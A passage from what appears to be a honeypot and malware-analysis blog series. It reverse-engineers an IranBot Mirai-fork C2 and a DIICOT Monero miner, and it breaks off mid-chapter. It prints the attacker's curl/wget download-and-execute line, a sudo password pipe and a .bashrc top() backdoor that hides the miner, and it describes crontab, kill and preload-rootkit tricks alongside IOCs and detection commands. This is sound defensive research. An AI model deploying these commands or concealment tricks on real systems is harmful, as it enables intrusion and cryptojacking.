ELF, 164272 bytes PLAINTEXT hardcoded C2 103.83.87.122:8060 (no domain/DNS/crypto) Two things at once. The first: PLAINTEXT. In July, this family's command centre was in plain text. Unencrypted. I'd spent two days hunting an encryption scheme that might not exist. The second got me out of my chair: 164272 bytes. My binary weighs 164,272 bytes. The same number. To the byte. Two files compiled from the same code, with the same compiler and the same options, come out the same size; and if the only thing you change is one address for another of the same length, it still comes out the same. On its own that proves nothing —two different programs can weigh the same by chance— but it was the first coincidence worth chasing. And of that build, theirs, the command centre was published. I had the twin. The sample is on MalwareBazaar, so I pulled it down to the lab. With both files in front of me, the question stops being «where is the C2» and becomes «how do they differ», which is incomparably easier to answer. theirs against mine · byte by bytesize 164,272 B = 164,272 B bytes that differ 1,130 # 0.7 % of the file One thousand one hundred and thirty bytes out of one hundred and sixty-four thousand. That isn't a hand-patched file: it's the same code recompiled. And a good part of those differences are one-unit shifts in internal addresses — the clue that something in there grew by exactly one character. 103.83.87.122 has thirteen characters. 176.65.139.206 has fourteen. I went to the exact position where theirs keeps its command centre, inside its string table: the same slot, in both files … /dev/watchdog0 · /dev/watchdog1 · Not a mirai at all · Death to israel · theirs → 103.83.87.122 ← their C2, published mine → 176.65.139.206 ← mine · stop · !kill · ping · x86_64 · pong %s · !selfrep telnet · off · … Same table, same position, same neighbours left and right. That address occupies the command centre's slot, not the delivery server's. And the position leaves no doubt about which field is the C2 in this build, because in the twin delivery had a slot of its own, separate and in a different format: the same address, but with :80 stuck on the end. Two jobs, two slots. The one I had in front of me was the command one. And here comes the part that stings. I'd had that address in front of me since day one. It's the only IP written in plain text inside the binary and it came out in the very first strings dump, the one in the previous chapter. I dismissed it without a second thought —«sure, it's the server it downloaded from, it carries it to spread»—. And it is, it's that too. But it's also its command centre, and the string doesn't say that: the slot it occupies does. I spent two days hunting a hidden number while the answer sat there in letters, between a joke and a slogan. And that's when you see why the structure hunt in section 2 couldn't work: I was looking for an IP and a port together, and here the IP isn't a number, it's text — and the port isn't even nearby. The port was still missing, and that one really is a number inside an instruction. The twin solves that too: both binaries set up the connection with the same instruction, at the same position in the file. the instruction that sets the porttheirs → 66 c7 84 24 72 1f 00 00 1f 7c # = port 8060 mine → 66 c7 84 24 72 1f 00 00 07 d0 # = port 2000 └──── identical byte for byte ────┘ └──┬──┘ only these two change Eight identical bytes —the instruction, the register, the stack slot it writes to— and two that aren't. Theirs read 8060. Mine, 2000. 176.65.139.206:2000. In plain text, unencrypted, no domain, nothing. The IP is catalogued out there as a command centre — on other ports, which is a story of its own. The 2000 nobody has published: it isn't in the family's dossier, nor on MalwareBazaar, nor in the indicator catalogues I've been able to check. Why this worksDifferential analysis is nothing but subtraction. If you have two versions of the same program and you know what one of them contains, everything that doesn't change stops mattering and you're left looking only at what does. Here it cut a file of one hundred and sixty-four thousand bytes down to one thousand one hundred and thirty, and inside those was what I was after. What I needed wasn't a better tool: it was the other file. 05The other three architectures The differential I could only run on the x86-64, because it's the only one with a published twin. The other three have to be checked another way, and here it's time to separate what I know from what I assume. What I know: all four carry 176.65.139.206 written in them, each at whatever position its build gives it. And in all four the byte pair 07 d0 appears, which is 2000. BinaryThe IP, written at positionDoes 07 d0 appear? x86-64116,337yes — and proven instruction by instruction m68k154,873yes MIPS178,228yes MIPS little-endian180,500yes What I did not know: whether in those three those two bytes are really the port. Any two bytes turn up by chance in a two-hundred-thousand-byte file, and proving it would mean disassembling three more architectures. That was all I had when I built the table, and it wasn't enough to claim it. So I checked it the direct way: I switched all four on and watched where they called. Where the line is, and why I'm moving itThis doesn't happen on the honeypot — that's a machine with a public IP. I did it in a cage: isolated, with no route anywhere, an unprivileged user, and reverted when I was done. Not one packet left for the world. Watching something caged isn't letting it loose; the difference is the cage. (The same line I moved in chapters 13 and 15.) The first thing it writes to the screen on starting up is the two lines that had let me name it: Not a mirai at all and Death to israel. And after that, all four to the same place: strace · the 64-bit one, setting up the call (trimmed: the «[pid 908]» prefix removed from each line)socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 6 setsockopt(6, SOL_TCP, TCP_NODELAY, [1], 4) = 0 setsockopt(6, SOL_SOCKET, SO_KEEPALIVE, [1], 4) = 0 connect(6, {sa_family=AF_INET, sin_port=htons(2000), sin_addr=inet_addr(\"176.65.139.206\")}, 16) = -1 EINPROGRESS (Operation now in progress) There's the whole call. It opens the socket; asks for TCP_NODELAY, which means «send me the packets as you get them, don't wait to bundle a few»; asks for SO_KEEPALIVE, which means «don't drop the line on me even if we go quiet for a while» — the two things anyone expecting short, occasional orders would ask for. And it dials. That EINPROGRESS at the end means «working on it»: in the cage there's no line, so there it stays, and it tries again in a loop. And the other three, exactly the same: the same two setsockopt calls before every connection, without a single exception. As for where they call, all four to the same place: the four samples · the connection onlyx86-64 connect(6, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS m68k connect(3, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS mips connect(3, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS mipsel connect(3, … htons(2000) … inet_addr(\"176.65.139.206\")) = -1 EINPROGRESS Twenty-five connections across the four samples, in windows of twenty-five to thirty seconds each, and a single destination. It's no longer «very likely»: it's what they do. 06Depends which clock you look at With the twin in front of me I can measure something that's usually only guessed at: how much these people change between one campaign and the next. The code, almost nothing. One thousand one hundred and thirty bytes out of one hundred and sixty-four thousand, and of those, the vast majority are internal addresses shifted along. Instructions with a real change: four. One is the port —from 8060 to 2000— and the other three are pointers that in July aimed at a second address and now aim at the only one left. Because the July build carried two inside: one for command and another, with its port stuck on, for delivery. The September one has deleted the second. And there's a neat way to verify that without arguing at all: the internal addresses before the deleted slot shift by +1, and those after it by −16. One is the character the IP grew by; sixteen is the size of the slot that vanished, minus that one. The arithmetic works out exactly. You don't have to take my word: it falls out on its own. With that in hand I can go back to something this family's dossier says — the report that let me name it. Because the Nokia Deepfield dossier —the one from the previous chapter, the one with the markers— isn't titled «IranBot». It's titled Cattle, not pets. And its thesis is that this is a disposable operation — build cheap, burn fast, move on. And a small confession, before going onWhen I measured the obfuscation and saw it going backwards —the old builds encrypted their configuration, mine carries it in plain text— I wrote it up as a finding of my own. It isn't: it's on the first page of that report, which I had open. Checking whether someone has already told it comes before claiming it, and here I skipped that with the document right in front of me. So what follows isn't contradicting anyone: it's measuring it myself and seeing where it matches and where it doesn't. And the first thing measuring turns up is that there isn't one clock. There are five, and they don't say the same thing. WhatHow long it lasts«Disposable»? The files posted on the delivery serverhoursyes The campaign that host serves2-3 daysyes The delivery host≥ 10 days, and still standingno The command centreweeksno — not «days» The bot's codepractically unchangedno What comes and goes at speed is the merchandise: the files last hours, the campaign lasts days. What doesn't move is everything else — the box is still standing, command holds for weeks, and the program is July's. And on the fourth clock I agree with them: their report speaks of «a new C2 every few weeks», and that's exactly what comes out when you count the dates. Command centreWindow observedLife femboys.chloebulldog.online:44510 (resolved to 45.205.1.36)June → unreachable in July4-6 weeks depending whether you count from the domain or the IP 103.83.87.122:8060the build carrying it is from 6 July; the port stops showing by late Augustseven weeks or more 176.65.139.206:2000since 10 Septemberongoing Weeks, not days — and the ranges are wide on purpose, because the start dates aren't when the operator put the server up but when somebody first saw it, which is not the same thing. There's something else I wasn't expecting: the servers the dossier gives as down are still switched on and still collecting abuse reports. One is at 686 and another at 871, both with a report from yesterday. Careful with what that means, though: one of them today sits with another company, in another country, serving something else. It could be the same owner holding on, or it could be that the provider resold the address and the reports belong to the new tenant. I don't know, and the previous chapter warns about exactly this: in these ranges the data rotates fast. Where the version of the characterisation that reached me does fall down is on a part that is not in the report: that they modify the code to throw analysts off. Deepfield doesn't say that —if anything it says the opposite— and my two files certainly don't: The diff is 0.7 %, and it's explained entirely by the address change. They keep the two strings that give them away most. Not a mirai at all and Death to israel are a gift to anyone writing detection rules — the first thing anyone wanting to hide would strip out. They're still there. And there are the two loader typos from the previous chapter, one of which writes off an entire architecture. For this lineage, the word isn't «evasive». It's fast and careless. A limit that can't be rounded offThat «2-3 days» in the second row is measured for the campaigns on this host, between 31 August and 10 September. That's a closed figure. What I can't say is that the family recompiles every few days: for that I only have the published builds plus mine, and that neither supports nor refutes it. They're two different claims and only one is settled. And a temptation worth resistingThat same box was handing out, a few days earlier, another campaign with another loader —w.sh— broken in a similar and worse way: eight of its twelve lines download one file and run a different one. It's tempting to put them together and say «look, always the same». You can't. I opened the binary that script hands out and it has not one of IranBot's markers: not the joke, not the slogan, not the orders, not the parameters. Different size, different naming, different campaign tag. It's another family on the same box, and the only thing they share is the server — which is exactly what the previous chapter says doesn't count as a link. Whether it's the same hands, I don't know. That the box has more than one tenant, that much yes. 07What I don't know This is where the chapter stops, because there's a question I can't answer and I'm not going to pretend otherwise. Is that command centre still alive? What I know for certain is that delivery was emptied out the same day: anyone asking for cat.sh gets a 404. But delivery and command are two different services on the same box, and one being empty says absolutely nothing about the other. And the box is still standing: still answering, still collecting abuse reports. The cage from the previous section doesn't tell me either. In there the bug dials the number, but there's no line: I caged it precisely so there wouldn't be one. I know who it calls; I don't know whether anyone picks up. I tried the two routes I had, and both stopped halfway: I asked Shodan to rescan the host. It came back «completed» and never got indexed: its record still shows the same three ports as before. And I don't even know whether its scan profile covers 2000 — which means a «doesn't show up» wouldn't have proven anything either. The other search engine of that kind would have done just as well. My quota is exhausted: it replies that there's no balance, not even to look up a single address. And there's the obvious route, which is to open a connection to 2000 and see whether anyone answers. I'm not going to. Calling a botnet's command port isn't like checking whether a website is up: from the other side it looks a great deal like a new bot registering, and my address would end up written in the logs of whoever runs that machine. For a data point that changes nothing in this chapter, it isn't worth it. So the honest answer is that I don't know. Delivery is clean; command, unchecked. The box is under watch and, if it shows itself again, we'll know. 08Indicators (IOCs) The infection ones are in chapter 21. These are the ones from inside. TypeValue C2 — not published before176.65.139.206:2000/tcp · in the clear, unencrypted, no domain The same machine, its roles:22 SSH · :80 delivery (Apache) · :2000 C2 · and origin of the attack Reference sample used (already published)b1a6dba6636b519d76d7219f6264ac9f1456681c0855baef954fb435d3e25ce5 x86-64, 164,272 B, C2 103.83.87.122:8060 July artefact not listed in its dossierb4acd1ab65624b694946b1181bba0732bb63c88c51b8334914c26c1805b2e1aa iran.sh4 — an architecture I didn't capture Family's earlier C2s (context)femboys.chloebulldog.online:44510 (→ 45.205.1.36) · mythickass.onthewifi.com:313 · 103.83.87.122:8060 Persistence (documented in its dossier)/etc/init.d/xs.main · /etc/rc.local A port that is NOT an indicatorThe 8098 on that same machine isn't in the table, and that's no oversight. I called it the operator's panel myself and withdrew it in section 03: four hundred and fifty-five thousand machines have it open and its signature turns up in legitimate hosting. Publishing it as an indicator would only get someone to block an innocent neighbour. To be continued — the honeypot's still on, and so is that box. Because while I was chasing the 2000 I kept looking at what else that server had handed out before it got to me, and it turned out this bug wasn't its only tenant. That's no longer the story of a bug, it's the story of an address — and it doesn't fit here. 🍯","date":"2026-09","fam":"IranBot","n":22,"spec":"IranBot (Mirai fork)","sum":"A bot of the Mirai school carries the address of whoever gives it orders. I looked for this one's by four different routes and found it by none — and along the way I published a theory of my own that turned out to be false. What finally worked wasn't a better tool: it was realising that somewhere out there sat another binary, compiled from the same code, whose command centre somebody had already published. With both in front of me, the difference between them is one thousand one hundred and thirty bytes.","t":"The twin I was missing","tags":["IranBot","Mirai","reverse engineering","differential analysis","C2","botnet"],"tipo":"IoT botnet (DDoS)","url":"/en/chapter-22/"},{"body":"Almost everything that knocks on a decoy's door is a machine that scans, tries four passwords and moves on. This was different — and not because of how it got in, but because of what it left behind. One Sunday in September, something came through three times. The first visit didn't lift a finger; the last left the machine seeded. And the interesting part isn't any one of the three on its own: it's what you see when you line them up. There's one thing, besides, that only shows up because I froze the disk after every visit — a snapshot of the filesystem exactly as it was left. Three snapshots. Without them, the finding at the end of this chapter would have walked straight past me. 01Three visits, one step up each time The first thing that jumps out when you compare the three disks is where the line falls: the three visits, compared on disk# the stock .bashrc on this machine is 607 bytes visit 1 early afternoon .bashrc 607 B no cron no preload visit 2 that evening .bashrc 774 B cron_d_9499 ld.so.preload visit 3 ninety minutes on .bashrc 774 B cron_d_4836 ld.so.preload The first came in, sized the machine up, did its thing and left without planting anything: the administrator's shell config file still weighs what it weighed out of the box, there are no new scheduled tasks, there's no loader lever. If the day had stopped there, I'd have a sample and not much of a story. The second was the one that stayed: it set up five footholds at once, the backdoor among them. And the third came back ninety minutes later — from the same address as the second — and reapplied them one by one, on top of the ones already there. A critter that mops the floor twiceReapplying what's already in place looks like a waste, and it isn't: it suggests the kit doesn't check whether it has been here before. It walks in, runs its whole list, and leaves. What to me reads as «it came back for the same thing» is, to it, the first time — every time. That's the sort of detail that separates a list being executed from someone reading the screen. 02How it sizes up the house before moving in Every critter, the moment it sets foot on a machine, measures it: it wants to know what CPU it has and how many cores, because that's what decides how much it can mine. This one starts with a test I enjoyed finding: the capability probeprintf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" \u0026gt; filter \u0026amp;\u0026amp; chmod +x filter \u0026amp;\u0026amp; ./filter \u0026amp;\u0026amp; rm -rf filter It writes a file, makes it executable, runs it, checks the output is what it expected, and deletes it. The file itself is dumb — two lines. What has substance is what it's for: it's a test of whether this folder allows writing and, crucially, executing. Plenty of well-built servers mark their temp directories as «nothing runs here», and the critter checks before wasting time pulling down a binary it won't be able to launch. A clarification, because I tripped over this myselfThe file it writes is called filter and it's harmless: two lines and an echo. There's nothing inside it to analyse. The value is in the wrapper — the check surrounding it. Boring file, interesting wrapper; for a while I was looking in the wrong place. And right after, the detail that gives away whoever is behind this: how it counts coresecho '\u0026lt;password\u0026gt;' | sudo -S sh -c 'nproc || /usr/bin/nproc || busybox nproc || grep -c ^processor /proc/cpuinfo' Read it left to right: it tries nproc; if that's missing, it tries the full path; failing that, busybox; and if none of those exist, it counts the lines of a system file by hand. Four routes to find out a single number. All of it while feeding the password to sudo down a pipe, to get administrator rights without anybody typing a thing. Every order it issues is wrapped like that. Nobody writes that by hand three times in one day. The fallback chain says where the kit is aimedbusybox is a program that acts as a Swiss army knife on stripped-down systems — routers, cameras, video recorders — where the normal Linux tools aren't installed. Catering for that case isn't padding: it means the kit isn't aimed only at servers, it expects to land on gadgets. Same idea as when it asks about the graphics card: it wants to know what it'll be mining with before choosing what to pull down. The rest of the reconnaissance is short and to the point — what system this is, how many cores, how long it's been up, whether there's a GPU, and what architecture the CPU is: the reconnaissanceuname -s -v -n -m # system, version, hostname and architecture nproc # cores — this decides how much it can mine cat /proc/uptime # how long it's been running grep -i vga ; grep -i nvidia # any graphics card? they have a GPU branch uname -m # the architecture, on its own: needed for the download That block doesn't always come this short. In its long form it adds a question that has nothing to do with mining: it takes the output of last, which is the list of who has been logging in to this machine. They're not only here for the cores — while they're at it, they note down who comes and goes. 03The download With the machine measured, down comes the payload. This is the whole order, and it's worth reading in full: pulling down the minercd /dev/shm \u0026amp;\u0026amp; ( curl -Lko .16 --retry 3 --retry-delay 3 --retry-connrefused \\ hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) \\ || wget --tries=3 --no-check-certificate -O .16 hxxp://5.189.149[.]171/f/brute/m/.16_$(uname -m) ) chmod +x .16 ; ./.16 Three things define this line, and all three are deliberate choices. It doesn't touch the disk: it uses /dev/shm, a folder that actually lives in RAM. Whatever is written there vanishes when the machine powers off, and leaves far less behind for whoever investigates afterwards. It carries curl and, if that fails, wget — the two usual command-line download tools. Belt and braces, the same pattern as the fallback chain above. And the CPU architecture isn't written in: it asks the machine with $(uname -m) and pastes the answer onto the end of the address. The server then hands back the binary built for that exact CPU. One single command that works on an x86 server and on an ARM router alike. The file is called .16. The leading dot makes it invisible to an ordinary listing, and the name — a two-digit number — is so nondescript the eye slides right off it. That name is coming back in a moment, and that's where this chapter turns. The server path talksLook at the address: /f/brute/m/. It's structured — one folder per campaign, another per payload type, architecture at the end. That suggests there are more campaigns and more payloads on that server than this one. The name of the first folder will end up mattering, but that's for further down the line. SPECIMEN 008 · ELF DIICOT / Mexals · Monero miner ◈ LIVE · DO NOT RUN TypeELF 64-bit x86-64 · static · stripped Size3,373,344 bytes Packedno Renames itself16 FunctionCPU miner + installer of its own persistence Configencrypted (single-byte XOR) SHA-256a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 The family is DIICOT — also known as Mexals — an old acquaintance of the cryptojacking world, documented since 2021 by Bitdefender, Akamai, Cado, Darktrace and Wiz. What DIICOT is isn't something I'm discovering here: it's been told, and told well. What I'm bringing is what you see when you look at these three disks. And on one of the later visits they didn't just pull this one down: they also brought a second miner, a GPU one, dropped under the name init. That's the answer to the graphics-card question from the previous section — yes, they had a GPU branch, and they carried it with them. It's ethminer, a perfectly legitimate open-source miner — as XMRig is — so mind how you catalogue it: what points at these people isn't the program, it's the name they drop it under. And it never ran: the neutraliser caught it before it started, so which wallet that one was paying into is something I never got to find out. Who stopped this — and who didn'tIt's tempting to hand the credit to the outbound firewall, and it would be a lie. Its rules act on the establishment of each new connection, not on data in flight: they're a rate limiter, not a cutter. The downloads that got through got through whole. What stopped the miner from ever mining was the neutraliser — killing the process and emptying the file — not the firewall. Telling it the other way round would be looking good at the expense of the truth. 04The command that lies Here's the payoff, and it turned up going back over the disk afterwards. On the second visit, /root/.bashrc — the file that configures the administrator's shell — had gone from 607 to 774 bytes. A single line added at the end: the line they added to /root/.bashrctop() { trap 'tput cnorm' INT; tput civis; { script -q -c \"/usr/bin/top\" /dev/null \\ | sed -e '/16/d' -e '/libbase\\.sh/d' -e '/7704/d'; } || /usr/bin/top; tput cnorm; } Read it slowly, because it's a small piece of work. In Linux you can redefine a command: write a function with the same name as a program that already exists. From that moment on, when somebody types that name the usual program doesn't run — your function does. It's an ordinary shell feature, meant for handy shortcuts. Here they're using it for something else. The command they've redefined is top: the one every administrator types when the machine feels slow, to see what's eating the CPU. And their fake version does three things — it runs the real top, passes its output through a filter, and covers its tracks. The filter is what matters. sed -e '/16/d' means, literally, «delete every line containing 16». And 16 —I told you that name would be back— is the name the miner renames itself to when it starts. Translated: The administrator opens top to see what's eating the machine, and the one process eating it is the only one that doesn't show up. The rest of the line is craftsmanship so nothing looks off. The script -q -c fools top into believing there's a screen in front of it, because if it detects its output going into a pipe it breaks and draws nothing. The tput civis and cnorm hide and restore the cursor — including if you hit Ctrl+C, thanks to the trap — so it looks identical to the real thing. And if anything fails, the || /usr/bin/top at the end runs the genuine one, so as not to raise suspicion even with an error. A rootkit without a rootkitWhat's elegant — and unsettling — is that this does the same job as a rootkit (hiding a process from whoever looks for it) without being one: no injected library, no binary for an antivirus to sniff at. It's text in a config file that exists on every Linux. Cheaper to plant and far harder to find with malware tooling — but trivial to catch if you know where to look, because top has no business being a function. 05Five ways back in The fake top is for hiding. To come back, that same visit set up five more things, and set them all up at once: a systemd timer under an innocent name, system-helper, that fires on its own; two scheduled tasks in /etc/cron.d/ — one with a fixed name, one with a random number; an /etc/ld.so.preload, which is the lever for slipping a library inside every new process on the system; the .bashrc backdoor from above; and a tweaked .profile, so it fires on login shells too. On disk nearly all of them show up at zero bytes — the containment emptied them — and it left the .profile padded with blanks. Of most of their contents I got nothing; of their names and locations, yes. The .bashrc one is the exception: it survived intact. And I know what the .profile said even though it's blank, because the numbers add up: the file went from 132 to 147 bytes, and the fifteen that were added ended up zeroed. The line the miner writes there travels inside the binary itself and is exactly those fifteen characters — source .bashrc. You don't need the file to know what was in it. But careful about reading that zero as if nothing had happened, because the kernel's own record says otherwise: what the kernel logged about the timertype=SERVICE_START unit=system-helper comm=\"systemd\" res=success comm=\"system-helper-r\" ppid=1 # launched by the system itself, not by a session The timer was enabled, started, and ran its script. That ppid=1 is the signature of the system setting it off on its own, with nobody logged in any more. And here's my favourite detail in the whole case, because it closes the gap without needing the file at all: systemd will not start an empty unit. If the file reads zero on the frozen disk but the log says the service started fine, then it had content when it started — the zero came afterwards. I don't know what was inside, but I know there was something, and that it worked. What did stay an attempt — and shouldn't be lumped inThe timer worked; the real rootkit didn't. That /etc/ld.so.preload is the lever for the other kind of concealment, the one that injects a library into every new process and can hide whatever it likes. But there the file ended up empty and the library was never written: it hid nothing, on any of the visits. They're two different things and they deserve telling apart — the systemd foothold actually ran, the library rootkit stalled at the door. The one that did work for hiding was the third: the line of bash, which needs no library at all. The two files that survived also carry the same timestamp, down to the second: the five footholds aren't built up gradually, they're planted in one go. Put it in context: in the afternoon they left without planting a thing, and a few hours later the machine had five footholds and a command that lies. That isn't a kit that fires once and forgets. 06The number that doesn't add up Go back to the .bashrc line and look at what the filter deletes. Three things: the three patterns it hidessed -e '/16/d' # the miner's name — that adds up -e '/libbase\\.sh/d' # a file that doesn't exist on my machine -e '/7704/d' # a loose number? where does that come from? The first adds up. The second is a file I searched the whole disk for and never found. And the third looks like a process number — what Linux calls a PID, the identifier the system hands each running program. But PIDs are handed out by each machine as it goes: you can't know them in advance. My first theory was that another victim's template had slipped through — that this 7704 was a process number on some other machine, copied over without noticing. It sounds good, it points to sloppiness, and it makes a nice headline. I was wrong. And I found out because I had one disk more. First: that number belongs to this machine. The kernel audit trail confirms it — during that visit, process 7704 was alive in here, spawning children of its own. It's the critter's number, on that particular visit. And the second part is what settles it. The third visit came back and reinstalled the same backdoor. Side by side: The same backdoor, two installations. The last line of .bashrc on the frozen disk from each visit. They're the same sentence, character for character: the redefinition of top, the filter deleting 16 and libbase.sh, and the flourish that restores the cursor. The only thing that changes is the number marked in red — 7704 on one visit, 2845 on the other. The same line, letter for letter, with a different number. The two names — 16 and libbase.sh — are fixed constants. The number is the only thing that changes from one installation to the next, and it matches the process doing the writing. And this is better news than what I thoughtMy sloppiness theory was a weak lead and, on top of that, false. What's actually there is stronger: if the line comes out of a template, then it's the same on every machine this kit gets into, letter for letter, except the number in the middle. That turns an accident into a signature. You don't need to know what number your machine has: you just look for the shape. So if you run servers, this is what to look for, and it costs a second: how to catch itdeclare -f top crontab kill # if they return code, there it is grep -nE '^(top|crontab|kill)\\(\\)' ~/.bashrc /root/.bashrc /etc/profile.d/* grep -rl 'libbase\\.sh' /etc /usr/local /root ~ I ask about three commands and not one because top is the only one I found installed here — the other two turn up ready and waiting inside the binary, and I open them in the next chapter. What I still don't know is who writes that number. Because if it changes with every installation and matches a process that was alive, something is working it out and pasting it in on the fly, in a matter of seconds. The answer isn't on the disk: it's inside the miner, and getting it out means opening it up. 07Indicators (IOCs) These are from the capture. The ones from inside the binary — who it pays, and who fills that gap — go in the next chapter. TypeValue Source IPs92.118.39.77 (first visit) · 62.171.133.1 (second and third — the same one, a repeat) Second payloadethminer dropped under the name init — legitimate software: what flags it is the deployment name, not the program Delivery serverhxxp://5.189.149[.]171/f/brute/m/.16_\u0026lt;arch\u0026gt; — structured path: campaign / type / architecture Shell backdoor — the signaturea top() function in .bashrc piping top through a sed that deletes 16, libbase.sh and a variable number. ⚠️ That number doesn't repeat across victims: don't hunt for it, hunt for the shape of the line. Cheap detectiondeclare -f top crontab kill · grep -nE '^(top|crontab|kill)\\(\\)' ~/.bashrc Process / file name16 · /dev/shm/.16 · /root/.16 Persistencesystem-helper (systemd timer) · /etc/cron.d/cron_d_\u0026lt;n\u0026gt; · /etc/ld.so.preload · /root/.profile Shell hook componentlibbase.sh — referenced by the backdoor; never written here Capability probeprintf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" \u0026gt; filter \u0026amp;\u0026amp; chmod +x filter \u0026amp;\u0026amp; ./filter \u0026amp;\u0026amp; rm -rf filter Reconnaissanceuname -s -v -n -m · nproc · cat /proc/uptime · grep -i vga / nvidia · four-way fallback chain down to busybox Privilege escalationecho '\u0026lt;pass\u0026gt;' | sudo -S sh -c '…' — credential down a pipe on every order SHA-256 (miner)a151d3f4f2422531f30a843ffb35479596c86722bb103bdf8591105687f9b125 The one that lasts isn't any hash — those change with every rebuild. It's the shape of the backdoor: a top that's a function instead of a program. A gesture so anomalous it's caught with a single command, and one that survives every recompilation they care to do. To be continued — I kept the miner sample. Inside it is the answer to who fills that gap, and along the way, who gets paid: a wallet hidden behind encryption that's frankly laughable. I open it with Ghidra in Chapter 24. 🍯","date":"2026-09","fam":"DIICOT","n":23,"spec":"DIICOT / Mexals","sum":"I left a password sitting on a decoy and, one Sunday, something came through it three times. I neutralised what it brought; what I didn't see until later was what it left planted — a line in .bashrc that makes «top» lie and hide the very process eating the machine. A rootkit without a rootkit. And putting two frozen disks side by side turned up the detail that changes everything: the same line, with a different number.","t":"The command that lies","tags":["honeypot","cryptojacking","SSH","persistence","forensics"],"tipo":"Cryptojacking + P2P botnet (Monero)","url":"/en/chapter-23/"},{"body":"In the previous chapter I was left with a loose end. The critter plants a line in the administrator's .bashrc that makes top lie and hide the miner. That line deletes three things, and one of them is a different number on every installation — the critter's own process number, which nobody can know in advance because each machine hands them out as it goes. Something was working it out and pasting it in within seconds. Today I open the miner with Ghidra and out comes what. Along the way, out comes who gets paid and how. 01The binary on the table The sample is the one from the previous chapter: the file pulled down from their server and run as .16. A 64-bit ELF, static — it carries every library it needs inside, so it runs on any machine however old or stripped down — and stripped, meaning without the names of its own functions. The equivalent of tearing the labels off every part before handing it over. That matters for what follows: when Ghidra opens a binary like this there are no names to read. Everything that appears from here on I've had to work out from the code itself, and the names you'll see in the screenshots are ones I put there. 02The line nobody wrote Straight to the loose end. I searched inside the binary for the backdoor line expecting not to find it — because if the number changes on every machine, the line can't be stored as-is. It's there. And it's there with a hole in the middle: the template, exactly as it sits inside the binarytop() { trap 'tput cnorm' INT; tput civis; { script -q -c \"/usr/bin/top\" /dev/null | sed -e '/16/d' -e '/libbase\\.sh/d' -e '/[NUL]/d'; } || /usr/bin/top; tput cnorm; } ↑ a zero byte, right where the number should go That [NUL] is a zero byte: the character that marks the end of a string in C. To a program, running into a zero there means «the text stops here». And that's exactly what it is — the end of the first half of the sentence. The second half sits right behind it, waiting. In other words: the critter doesn't carry the backdoor line. It carries the template, with the slot already reserved. When the moment comes it asks what its own process number is, turns it into text, drops it into the hole and spits the result into .bashrc. That's where the line gets made. Ghidra, with the variables renamed by me so it can be followed. Right at the top, CALL getpid: the program asks what its own process number is. Below it, the two references that matter — half A, which reads on the right as \"top() { trap 'tput cnorm' INT…\", and further down half B, which is \"/d'; } || /usr/bin/top; tput…\". Between the two goes the number just asked for. The line from the previous chapter is manufactured here, on the spot, on this machine. The recipe, step by stepdisassembly Five moves, in this order: ghidra · the recipe, step by stepCALL getpid // what's my process number? MOV ESI,EAX // hold on to it CALL … // turn it into text — this is why two halves are needed LEA RSI,[HALF_A] // \"top() { trap 'tput cnorm' … -e '/\" LEA RDX,[HALF_B] // \"/d'; } || /usr/bin/top; tput cnorm; }\" // result = HALF_A + number + HALF_B The getpid at the start is what settles everything: the number the filter deletes wasn't chosen by anyone — the critter asks it of itself, right before writing the line. And there's the explanation for the two numbers in the previous chapter. On one visit the process was 7704 and on the other 2845; the template is the same, letter for letter, and the only thing that changed was what went into the slot. Why this settles the previous chapterThere I had an observation —two disks, the same sentence, a different number— and a hunch about what it meant. Here's the why, and it carries more weight than any hunch: it isn't that the sentence resembles itself from machine to machine; it's that it's manufactured identically on all of them. There's no room for anything to vary except the slot. 03And it isn't one command: it's three While I was in there, I checked whether top was the only command they meant to rewrite. It isn't. There are two more, and they're better. The first is crontab, the command for managing scheduled tasks — that is, the place an administrator would look to see what runs by itself on their machine: crontab() · trimmedcrontab() { if [ \"$1\" = -l ]; then # «list my tasks» → hides its own from you elif [ \"$1\" = -e ]; then # «let me edit them» → re-pastes them on save elif [ \"$1\" = -r ]; then # «delete them all» → deletes yours, keeps its own fi; } All three branches are worth reading. With -l it hides its own entries from you, which is the expected move. With -e it opens the editor on a file with its lines stripped out, lets you change whatever you like… and pastes them back in when you save. And the third is the good one: crontab -r means «delete all my tasks», and what it does is delete yours and reinstall its own. The administrator's act of cleaning up becomes the attacker's act of cleaning up. The second is kill, the command for killing processes, and it's disarmingly simple: it walks through what you hand it, throws away any -9, and calls the real kill with what's left. On Linux, kill -9 is the blunt order: it kills the process without letting it refuse or say goodbye. You type kill -9 at their miner and what comes out the other side is a plain kill — a polite signal, one their process can catch and ignore. From that shell you can't force-kill anything, and the system doesn't warn you: the command says yes, and the process stays alive. All three go after the same reflextop so you can't see it, crontab so you can't find how it comes back, kill so you can't finish it off. That is, in that order, what anyone does when they suspect their server: look, search, kill. They've laid a trap at every step. On my machine only the top one ever got installed — the other two sat ready inside the binary and were never written — but as indicators all three count. 04What it's carrying in its luggage This binary isn't just a miner: it's a miner that brings its own removal van. Digging around turns up the pieces that never got deployed on my machine. First, another whole program hidden inside. A binary can carry another embedded in it like any other data and spit it out to disk when it suits. There are two here, and one of them is the kind that loads inside other programs — a library. That's the real rootkit, the one the previous chapter found half-installed: /etc/ld.so.preload was in place, but empty. The library it was missing was travelling in here. I pulled it out to see what it can do, and it's more modest than you'd expect from a rootkit: it hooks a single function, the one that lists the contents of a directory. It installs as /usr/local/lib/libcommon.so and, once loaded into every program that starts, when somebody asks for a listing of /proc —which is where Linux gets the list of what's running— it strips out the one called 16 before handing it back. And that's why it has a cheap countermeasureIf it only intercepts the listing function, the process is still right there: what's broken is the index, not the contents. So to catch it, don't ask for the list — walk the process numbers one by one and ask about each directly. The one that was hiding answers. It's the difference between trusting a book's index and turning the pages. Then, the pieces the backdoor was already talking about and that I hadn't been able to see: what the miner carries insidelibbase.sh # the shell hook component system-helper # the systemd persistence from the previous chapter /var/tmp/snap # one of the payloads it drops to disk .X0-lock # another, disguised as a display-server file __TTY_GUARD_OK__ # a self-check (see below) That libbase.sh the top filter was covering up, and which wasn't anywhere on the machine: it's theirs, and it travels in here. It isn't another victim's, and it isn't a slip — it's in the template because the kit puts it there, even though on my machine it never got written. And the payload names say plenty: 